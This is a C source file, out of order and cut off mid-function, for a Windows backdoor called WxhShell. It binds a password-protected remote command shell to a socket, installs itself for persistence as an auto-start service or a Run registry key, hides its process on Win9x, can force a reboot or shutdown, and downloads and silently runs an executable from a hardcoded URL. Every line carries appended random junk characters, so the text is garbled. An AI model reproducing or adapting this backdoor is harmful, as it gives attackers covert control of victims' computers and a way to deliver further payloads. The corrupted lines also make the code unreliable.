    send(wsh,msg_ws_err,strlen(msg_ws_err),0); + f;CyMEp  
    else { :y,v&Kk#T  
    closesocket(wsh); 8Chu"PM%-J  
    ExitThread(0); Ei@M$Fd  
    } I5);jgb  
    break; FkupO I  
    } AdoZs8Q  
  // 获取shell w, jcm;  
  case 's': { D~&Mwsi  
    CmdShell(wsh); iY/KSX^~O  
    closesocket(wsh); <B&R6<]T  
    ExitThread(0); k6?cP0I)5  
    break; <<|H=![  
  } qq0?e0H  
  // 退出 Y &r]lD  
  case 'x': { h#Ce_,o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Cw,D{  
    CloseIt(wsh); 3|@t%K  
    break; {-63/z  
    } _2mNTJiw  
  // 离开 vV`|!5x  
  case 'q': { C;\VO)]t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y5!b)vke  
    closesocket(wsh); g42R 'E%  
    WSACleanup(); |AH@ EI>  
    exit(1); 3@O0^v-  
    break; ?Zyok]s  
        } r7!J&8;{K  
  } JK~ m(oQ  
  } P-JfV7(O8  
$ A-b vL  
  // 提示信息 F}rPY:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4W\,y_Q o  
} ]Bb7(JX  
  } T"E(  F  
02]xJo  
  return; JFqf;3R  
} ,i ++fOnQ  
L,-u.vV  
// shell模块句柄 JAn1{<Ky  
int CmdShell(SOCKET sock) ]s|lxqP  
{ G\Q9IcJ0dY  
STARTUPINFO si; ^^$vR[7  
ZeroMemory(&si,sizeof(si)); #Y,A[Y5jX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >e8JK*Blz  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bv\ A,+  
PROCESS_INFORMATION ProcessInfo; Zy wK/D  
char cmdline[]="cmd"; IB7tAG8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T }uE0Z,  
  return 0; ]u&dJL  
} {=At#*=A  
G79C {|c\  
// 自身启动模式 J/4y|8T/y  
int StartFromService(void) a|N0(C  
{ J35l7HH  
typedef struct 2A$0CUMb  
{ ~2N-k1'-'  
  DWORD ExitStatus; "L~@.W!@  
  DWORD PebBaseAddress; ^[M~K5Y  
  DWORD AffinityMask; hrM"Zg  
  DWORD BasePriority; 5(}H ?  
  ULONG UniqueProcessId; ^)cM&Bx t%  
  ULONG InheritedFromUniqueProcessId; hBCR]=']  
}   PROCESS_BASIC_INFORMATION; GMFc K=  
s%dF~DSK  
PROCNTQSIP NtQueryInformationProcess; ~440# kj<  
u"F;OT\>g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iAQvsE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ] EyeBF)$  
NFoZ4R1gy  
  HANDLE             hProcess; cy:;)E>/  
  PROCESS_BASIC_INFORMATION pbi; 8 G?b.NE^  
V}`M<A6:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *t =i  
  if(NULL == hInst ) return 0; C/+nSe.  
7L{li-crI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p6blD-v  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !=M/j}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6bL"LM`s  
lgG8!Ja  
  if (!NtQueryInformationProcess) return 0; .D@/y uV  
!yCl(XT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6IF|3@yD  
  if(!hProcess) return 0; [u\CDsX  
px&=((Z7>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H*qD: N  
gO{W#%  
  CloseHandle(hProcess); "X?LAo  
anZIB  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ECdfLn*c  
if(hProcess==NULL) return 0; QBjY&(vY  
chwh0J;  
HMODULE hMod; )% |r>{  
char procName[255]; &kq7gCd  
unsigned long cbNeeded; j[T%'%  
er\:U0fr#@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =w,(M  
(j`l5r#X#/  
  CloseHandle(hProcess); >#i $Tw  
#8qyg<F  
if(strstr(procName,"services")) return 1; // 以服务启动 Alh?0Fk3)  
'?L%F{g/9  
  return 0; // 注册表启动 ?lG;,,jc,W  
} (E]"Srwh  
KH)pJG|NY  
// 主模块 ,yi2O]5e>!  
int StartWxhshell(LPSTR lpCmdLine) vcD'~)G(*  
{ g&aT!%QvX+  
  SOCKET wsl; W,'3D~g8  
BOOL val=TRUE; 'h:!m/1  
  int port=0; fsb=8>}63}  
  struct sockaddr_in door; Pu/lpHm|  
=[8d@d\  
  if(wscfg.ws_autoins) Install(); QW:Z[?39^  
0JOju$Bl,  
port=atoi(lpCmdLine); B#H2RTc  
$:HLRl{2E  
if(port<=0) port=wscfg.ws_port; W.GN0(uG  
<VgE39 [  
  WSADATA data;  XDvq7ZD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G32_FQ$ b  
n=SzF(S[M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :6sGX p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'XME?H:q a  
  door.sin_family = AF_INET; _PdAN= C3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1uj05aZh}  
  door.sin_port = htons(port); c; d"XiA  
$u- lo|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n K0hTQ  
closesocket(wsl); X!?wL 0n  
return 1; yL4 -4  
} ?-M)54b\  
Cg?I'1]o6  
  if(listen(wsl,2) == INVALID_SOCKET) { +"G(  
closesocket(wsl); /T4VJ{D  
return 1; }W)Mwu'W  
} _/8y1) I  
  Wxhshell(wsl); .k|-Ks|d|  
  WSACleanup(); ^K*~ <O-  
j!"iYtgV  
return 0; \j/}rzo]  
)uu wwz  
} 7j{Te)"  
K-ju,4A  
// 以NT服务方式启动 ,$SkaTBe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <y'qo8oqF  
{ } pSt@3o,  
DWORD   status = 0; N)Qlkz$X  
  DWORD   specificError = 0xfffffff; 012:BZR  
paUyS1i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; O\:;q*]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y~}QJ+`?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .M`LUb"!  
  serviceStatus.dwWin32ExitCode     = 0; SSo~.)J  
  serviceStatus.dwServiceSpecificExitCode = 0; xBt4~q;#sE  
  serviceStatus.dwCheckPoint       = 0; xg4T` ])  
  serviceStatus.dwWaitHint       = 0; }$&);7(w  
[cY?!Qd 0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )OS>9 kFH  
  if (hServiceStatusHandle==0) return; .Lp Nm'=R  
d"Ml^rAn  
status = GetLastError(); )62q|c9F  
  if (status!=NO_ERROR) c@)pKi#W  
{ L)j]~^P$-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8p3ZF@c~ t  
    serviceStatus.dwCheckPoint       = 0; Rqt[D @;m  
    serviceStatus.dwWaitHint       = 0; _g^E%@'W  
    serviceStatus.dwWin32ExitCode     = status; Rs^jk)Z:)  
    serviceStatus.dwServiceSpecificExitCode = specificError; "o~N42DLB%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D'Jm!Ap  
    return; `8qT['`#R  
  } 20S9/9ll  
D;K&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Bl:{p>-q  
  serviceStatus.dwCheckPoint       = 0; Nt?2USTs-  
  serviceStatus.dwWaitHint       = 0; 'bbV<? ):  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nDwq!LEx%5  
} ,Uv{dG  
(bM)Nd  
// 处理NT服务事件,比如:启动、停止 :$+D 2*(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZA) SJWwD  
{ 1 yxZ  
switch(fdwControl) X=-gAutfE=  
{ ze-TBh/  
case SERVICE_CONTROL_STOP: JsHxQ0Tw  
  serviceStatus.dwWin32ExitCode = 0; %D`^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ktkn2Twa/  
  serviceStatus.dwCheckPoint   = 0; RcKQER  
  serviceStatus.dwWaitHint     = 0; m&(%&}g  
  { f/$-Nl.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3W%f#d$`  
  } 00$ @0  
  return; mRg ,A\  
case SERVICE_CONTROL_PAUSE: \pT^Zhp)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $ l0eI  
  break; 58a)&s[+  
case SERVICE_CONTROL_CONTINUE: Vq?8u/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H'j_<R N  
  break; rQ 9?N^&!%  
case SERVICE_CONTROL_INTERROGATE: }L{_xyi>#  
  break; Y#Sd2h,^X  
}; .rD#1)O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |*/uN~[  
} -k|g04Q?  
wC4AVJJ^>  
// 标准应用程序主函数 VPq5xSc?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {66Q" H"I  
{ @1`W<WP  
G!> iqG  
// 获取操作系统版本 /ynKKJx<Y  
OsIsNt=GetOsVer(); >llwNT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )VV4HoH]8  
:G6 xJlE|  
  // 从命令行安装 ~_/<PIm  
  if(strpbrk(lpCmdLine,"iI")) Install(); \Nh^Ig   
D]LFX/hlH  
  // 下载执行文件 o|Yn(xu-  
if(wscfg.ws_downexe) { fF9;lWt  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &-=G9sb,  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2Mv)0%,c  
} cP$wI;P  
)- Wn'C'Z  
if(!OsIsNt) { !=k*hl0h  
// 如果时win9x,隐藏进程并且设置为注册表启动 k*zc5ev}  
HideProc(); >F LdI  
StartWxhshell(lpCmdLine); 5 O{Ip-  
} { c6DT  
else 2\$WP-)%  
  if(StartFromService()) l>[QrRXiSN  
  // 以服务方式启动 ouu-wQ|(mM  
  StartServiceCtrlDispatcher(DispatchTable); :_I wc=  
else a{%52B"  
  // 普通方式启动 &)fhlp5  
  StartWxhshell(lpCmdLine); Sl+jduc  
;N> {1  
return 0; /S2p``E+  
} ~Q{[fy=  
!)l%EJngL  
z_[ 3IAZ  
nEZ-h7lzl(  
=========================================== q:D0$YY0  
o q'J*6r  
5Qm.ECXV  
lN= m$J  
~8n~4  
T[8"u<O96  
" \V!X& a  
MU^xu&MB  
#include <stdio.h> Fc{6*wtO  
#include <string.h> [/#k$-  
#include <windows.h> {TcbCjyw  
#include <winsock2.h> $.x?in|_  
#include <winsvc.h> PL$(/Z  
#include <urlmon.h> ,& pF:ql F  
Pvb+   
#pragma comment (lib, "Ws2_32.lib") 2)j#O  
#pragma comment (lib, "urlmon.lib") ^r?sgJ  
BW(DaNt^  
#define MAX_USER   100 // 最大客户端连接数 :n%sU* 'T  
#define BUF_SOCK   200 // sock buffer ,co9f.(w  
#define KEY_BUFF   255 // 输入 buffer V]CK'   
T/spUlWu  
#define REBOOT     0   // 重启 D/%b@Ls2ze  
#define SHUTDOWN   1   // 关机 IZ(CRKCGBl  
07G*M ]  
#define DEF_PORT   5000 // 监听端口 aaa#/OWQZ  
.AmM%I4K  
#define REG_LEN     16   // 注册表键长度 "< hx  
#define SVC_LEN     80   // NT服务名长度 f >, Qhl  
#uRq] 'P  
// 从dll定义API l7r N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]@j"0F/`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;^H+ |&$>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a?Qcf;o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O ]4 x;`)  
:R_#'i  
// wxhshell配置信息 r+W 8m?oi  
struct WSCFG { 9rvxp;  
  int ws_port;         // 监听端口 KohQ6q  
  char ws_passstr[REG_LEN]; // 口令 5yN8%_)T  
  int ws_autoins;       // 安装标记, 1=yes 0=no bZ@53  
  char ws_regname[REG_LEN]; // 注册表键名 Xy(SzJ %  
  char ws_svcname[REG_LEN]; // 服务名 D*2p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $d"f/bRWy  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1 069]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4Xb}I;rM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !kk %;XSZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gm%bxr@X~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3lrZ-k+S{  
>|o9ggL`J5  
}; & b^*N5<Z  
B,na  
// default Wxhshell configuration PTc\I  
struct WSCFG wscfg={DEF_PORT, G<WDyoN=O  
    "xuhuanlingzhe", @W5hrei  
    1, a^)4q\E  
    "Wxhshell", :tS>D5dz(  
    "Wxhshell", zZjLt1  
            "WxhShell Service", u g$\&rM>  
    "Wrsky Windows CmdShell Service", :$Di.|l@7  
    "Please Input Your Password: ", ,I:m*.q  
  1, sZP3xh[B  
  "http://www.wrsky.com/wxhshell.exe", hZ /  
  "Wxhshell.exe" `F`'b)  
    }; Vh[o[ U  
.)pRB7O3  
// 消息定义模块 lIc9, |FL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %Fm;LQa ]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; r+.4|u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; x%?*]*W  
char *msg_ws_ext="\n\rExit."; ,8-_=*  
char *msg_ws_end="\n\rQuit."; $6x:aG*F  
char *msg_ws_boot="\n\rReboot..."; p'c<v)ia  
char *msg_ws_poff="\n\rShutdown..."; lp%.n= '\  
char *msg_ws_down="\n\rSave to "; :g:h 0'G  
Pge}xKT  
char *msg_ws_err="\n\rErr!"; 2P> za\  
char *msg_ws_ok="\n\rOK!"; 'L+BkE6+%  
$Aoqtz d\  
char ExeFile[MAX_PATH]; rZCAj  
int nUser = 0; `g:^KCGMM  
HANDLE handles[MAX_USER]; ;7=J U^@D@  
int OsIsNt; s{EX ;   
Am`A[rV0  
SERVICE_STATUS       serviceStatus; >]08".ajS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r^tXr[}  
= (h;L$  
// 函数声明 VKJ~ZIO@A  
int Install(void); ^9f`3~!#bc  
int Uninstall(void); 6XCX#4'i%  
int DownloadFile(char *sURL, SOCKET wsh); 7D_kkhN  
int Boot(int flag); *SG2k .$  
void HideProc(void); ?g#t3j>zoF  
int GetOsVer(void); 3&Zx*:  
int Wxhshell(SOCKET wsl); 5i-;bLm  
void TalkWithClient(void *cs); Gy7x?  
int CmdShell(SOCKET sock); Vwg|?sG_  
int StartFromService(void); `} Zbfe~  
int StartWxhshell(LPSTR lpCmdLine); 1,!\7@<CT  
yl+)I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y52xrIvl\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @X><lz  
34M.xB   
// 数据结构和表定义 csA.3|rv  
SERVICE_TABLE_ENTRY DispatchTable[] = tnbs]6  
{ w^6N :]d  
{wscfg.ws_svcname, NTServiceMain}, 3EX&.OL!  
{NULL, NULL} g<tTZD\g  
}; |}.B!vg(4  
*H<g9<Dn  
// 自我安装 QgM_SY|Rj  
int Install(void) ~g6[ [  
{ c'TLD!^hB  
  char svExeFile[MAX_PATH]; U$J_:~  
  HKEY key; { RX|  
  strcpy(svExeFile,ExeFile); r&~iEO|?\  
n\al}KG  
// 如果是win9x系统,修改注册表设为自启动 T eTOj|  
if(!OsIsNt) { >w;W& [  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0$Db@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *(.^$Iq4  
  RegCloseKey(key); s-S"\zX\D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M\4;d #  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YHtI%  
  RegCloseKey(key); aq| [g  
  return 0; Jm,X~Si  
    } w[[@&T\`  
  } fx"+ZR  
} #IA(*oM  
else { RWcQT`  
g' U^fN  
// 如果是NT以上系统,安装为系统服务 O*CX@Ne  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uKzz/Y{  
if (schSCManager!=0) 717m.t,x  
{  ,qqV11P]  
  SC_HANDLE schService = CreateService ? NK} q\$  
  ( fT~<C {  
  schSCManager, )F2tV ]k\  
  wscfg.ws_svcname, `3s-\>  
  wscfg.ws_svcdisp, 6_><W"r:]  
  SERVICE_ALL_ACCESS, BV:,b S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j!n> d  
  SERVICE_AUTO_START, +Z0E?,Oz  
  SERVICE_ERROR_NORMAL, ~m&oa@*=y  
  svExeFile, u <2sb;a  
  NULL, 7ij=%if2@k  
  NULL, .]l2)OlLQ  
  NULL, Ci:QIsu*  
  NULL, D4-U[l+K>  
  NULL -iX!F~qS,  
  ); L,GtIZkE  
  if (schService!=0) 5-po>1g'  
  { y_r6T XnGL  
  CloseServiceHandle(schService); X*) :N]  
  CloseServiceHandle(schSCManager); H<?yG->  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Db:WAjU  
  strcat(svExeFile,wscfg.ws_svcname); dPX>A4wp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9xp ;$14  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \./2Qc,  
  RegCloseKey(key); E #]%e^  
  return 0; ;S j* {  
    } ^yZEpQN_  
  } I2Rp=L:z5  
  CloseServiceHandle(schSCManager); tTamFL6  
} AtYYu  
} Tr!X2#)A!  
N^at{I6C  
return 1; KPqI(  
} r\`m[Q  
s``L?9  
// 自我卸载 oI/ThM`=q  
int Uninstall(void) i*>yUav"  
{ ri`|qy6! |  
  HKEY key; [AwE  
!d_A?q'hN  
if(!OsIsNt) { !IU*Ayg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DR=1';63  
  RegDeleteValue(key,wscfg.ws_regname); 6*Qpq7Ml  
  RegCloseKey(key); xb>+~59:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yp/*@8%_E  
  RegDeleteValue(key,wscfg.ws_regname); Rw% KEUDm  
  RegCloseKey(key); z<*]h^ !3  
  return 0; 'M/&bu r  
  } "TI? qoz  
} tBQ> p.  
} G8'3.;"W5  
else { WKML#U]5T  
X2Mj|_#u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LOzKpvGl  
if (schSCManager!=0) #YdU,y=B  
{ .m51/X&*n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (#lS?+w)  
  if (schService!=0) $!w%=  
  { (%, '  
  if(DeleteService(schService)!=0) { @su,w,xLS  
  CloseServiceHandle(schService); nX'.'3  
  CloseServiceHandle(schSCManager); /+YWp>6LU  
  return 0; ^u{$$.&  
  } +=4b5*+qG  
  CloseServiceHandle(schService); 9b6h!(  
  } "Q4{6FH+mB  
  CloseServiceHandle(schSCManager); \PJ89u0  
} i=@*F$,  
} L4%LE/t|e  
jRc#>;dN  
return 1; Yw0@O1Cel  
} RqR  X  
{wySH[V  
// 从指定url下载文件 f 5Oh#  
int DownloadFile(char *sURL, SOCKET wsh) ,fRb6s-  
{ gw:BKR'o  
  HRESULT hr; u)-l+U.  
char seps[]= "/"; )1le-SC  
char *token; j*}xe'#  
char *file; Pip if.  
char myURL[MAX_PATH]; <LY+" Y  
char myFILE[MAX_PATH]; /FY_LM  
T8LwDqio  
strcpy(myURL,sURL); F_`Gs8- VH  
  token=strtok(myURL,seps); iDr0_y*t  
  while(token!=NULL) we3t,?`rk7  
  { p P&~S<[  
    file=token; Lq.k?!D3uh  
  token=strtok(NULL,seps); |n;7fqK  
  } 4<|]k?@  
2z:9^a/]Na  
GetCurrentDirectory(MAX_PATH,myFILE); qS>el3G  
strcat(myFILE, "\\"); A\>qoR!Y  
strcat(myFILE, file); R}FN6cH  
  send(wsh,myFILE,strlen(myFILE),0); X*@S j;|m  
send(wsh,"...",3,0); ; V8 =B8w  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t)h3GM  
  if(hr==S_OK) >b0}X)Z+U  
return 0; RWYA`  
else ="4)!  
return 1; L 'y+^L|X  
%o>1$f]  
} q_bB/   
E),T,   
// 系统电源模块 =zdRoXBY[b  
int Boot(int flag) A7se#"w  
{ O#g31?TO  
  HANDLE hToken; lf 3W:0 K  
  TOKEN_PRIVILEGES tkp;  OxRzKT  
*&s_u)b  
  if(OsIsNt) { FsjblB3?E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &>SE9w/ ?o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r.[kD"l  
    tkp.PrivilegeCount = 1; \oyr[so(i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Zr3KzY9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ex<0@Oz  
if(flag==REBOOT) { sy;~(rpg  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f`cO5lP/:)  
  return 0; 0:nyOx(;  
} Em;zi.Y+V  
else { .3#Tw'% G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iM-@?!WF  
  return 0; /OEj]DNY  
} >U z3F7nHi  
  } X(~NpLR  
  else { /KkUCq2A  
if(flag==REBOOT) { A#}IbcZ|b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'a}pWkLB  
  return 0; U<$|ET'  
} c ;VW>&,B  
else { Onao'sjY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +m_quQ/ys  
  return 0; $ |AxQQ%f  
} eG.?s ;J0  
} pV_2JXM~@  
*5^h>Vk/  
return 1; :0/I2:  
} ;TYkJH"  
~~&M&Fe  
// win9x进程隐藏模块 &0'BCT  
void HideProc(void) 0=NB[eG  
{ c(:GsoO  
d4/ZOj+%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #-{4F?DA]y  
  if ( hKernel != NULL ) b$hQB090  
  { 'Q# KjY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ].eGsh2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V<b"jCXI  
    FreeLibrary(hKernel); >5\rU[H>  
  } j:g/[_0s  
"Mth<%i  
return; 'j|;M  
} qSON3Iid  
^vUdf.n9  
// 获取操作系统版本 9!tRM-  
int GetOsVer(void) |#k1a:  
{ <Fi/!  
  OSVERSIONINFO winfo; 4q2aVm  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  C+_ NG  
  GetVersionEx(&winfo); _("{fJ,A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1Ypru<.)W  
  return 1; rQU;?[y  
  else WlU5`NJl]2  
  return 0; mAz':R[  
} }2}hH0R  
"[76>\'H  
// 客户端句柄模块 CQS34&G$a  
int Wxhshell(SOCKET wsl) mDtD7FzJ  
{ t<rhrW75P  
  SOCKET wsh; @X:P`?("^  
  struct sockaddr_in client; IL\#!|>  
  DWORD myID; {JMFCc[  
M^a QH/=:"  
  while(nUser<MAX_USER) Gt'%:9r  
{ I_4'9  
  int nSize=sizeof(client); P'[w9'B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u>}k+8~  
  if(wsh==INVALID_SOCKET) return 1; ^8DC W`V  
qjuX1 6o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H'GyWG|Wx  
if(handles[nUser]==0) {/N4/gu  
  closesocket(wsh); ))<3+^S0V\  
else RV-7y^[]^  
  nUser++; BDpeAF8z  
  } v*kTTaU&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); VHJOj  
jvA]EN6$;~  
  return 0; HKV]Rn  
} lCDXFy(E  
u9J;OsnHK  
// 关闭 socket F4@``20|  
void CloseIt(SOCKET wsh) WI ' ;e4  
{ Y6f0 ?lB  
closesocket(wsh); ):1NeJOFF  
nUser--; K_(o D O  
ExitThread(0); sJ,:[  
} .xS}/^8iD  
wUab)L  
// 客户端请求句柄 J=ZNx;{6  
void TalkWithClient(void *cs) <^{|5u  
{ |d&a&6U:  
zGF_ c9X  
  SOCKET wsh=(SOCKET)cs; %R(1^lFI$  
  char pwd[SVC_LEN]; 0@vSl%I+  
  char cmd[KEY_BUFF]; r!'\$(m E  
char chr[1]; [;%qxAB/_  
int i,j; *s} dtJ  
"9aiin  
  while (nUser < MAX_USER) { ; 7k@_  
Mz_*`lRN  
if(wscfg.ws_passstr) { |}t[- a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l-g+E{ZM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I8rtta  
  //ZeroMemory(pwd,KEY_BUFF); "aHA6zTB  
      i=0; 4fgA3%  
  while(i<SVC_LEN) { '7 SFa]tH  
a~jM^b;VN  
  // 设置超时 G<U MZg  
  fd_set FdRead; 6x7pqH M  
  struct timeval TimeOut;  1)U%p  
  FD_ZERO(&FdRead); n]jZ2{g+   
  FD_SET(wsh,&FdRead); >d%;+2  
  TimeOut.tv_sec=8; \hoYQK j  
  TimeOut.tv_usec=0; |p}qK Fdi  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /z9oPIJ=*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h.(CAm%Y7  
w-LMV>+6|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l.Iov?e1S  
  pwd=chr[0]; |hk?'WGc`0  
  if(chr[0]==0xd || chr[0]==0xa) { gq\ulLyOeZ  
  pwd=0; $n.oY5=\  
  break; XDRw![H,~  
  } M:YtW5{  
  i++; kWZ?86!  
    } =J:6p-\*  
$# klgiL  
  // 如果是非法用户,关闭 socket v2][gn+58  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WW\t<O;z  
} k` cz$>  
:+: vBrJm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); eD2u!OKW!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D-J G0.@  
Fg;V6s/>ts  
while(1) { =8#$'1K,v  
w,f1F;!q1  
  ZeroMemory(cmd,KEY_BUFF); '7Q5"M'  
kqdF)Wa am  
      // 自动支持客户端 telnet标准   os 9X)G  
  j=0; 8K$q6V%#  
  while(j<KEY_BUFF) { lC):$W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gJz~~g'  
  cmd[j]=chr[0]; MZ]#9/  
  if(chr[0]==0xa || chr[0]==0xd) { lB3@ jF  
  cmd[j]=0; X] cI ?  
  break; I@ "%iYL  
  } ~?`V$G=?,  
  j++; qD0sD2 x  
    } HE6 kt6  
f}qR'ognUu  
  // 下载文件 &iYy  
  if(strstr(cmd,"http://")) { jg%HaA<zO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \qk+cK;+  
  if(DownloadFile(cmd,wsh)) apFY//(yu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uskz~~}G  
  else F6,[!.wl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;]XKe')  
  } lM/)<I\8  
  else { w=Cq v~  
`q":i>FP2  
    switch(cmd[0]) { C5k\RS9  
  wd 86 y  
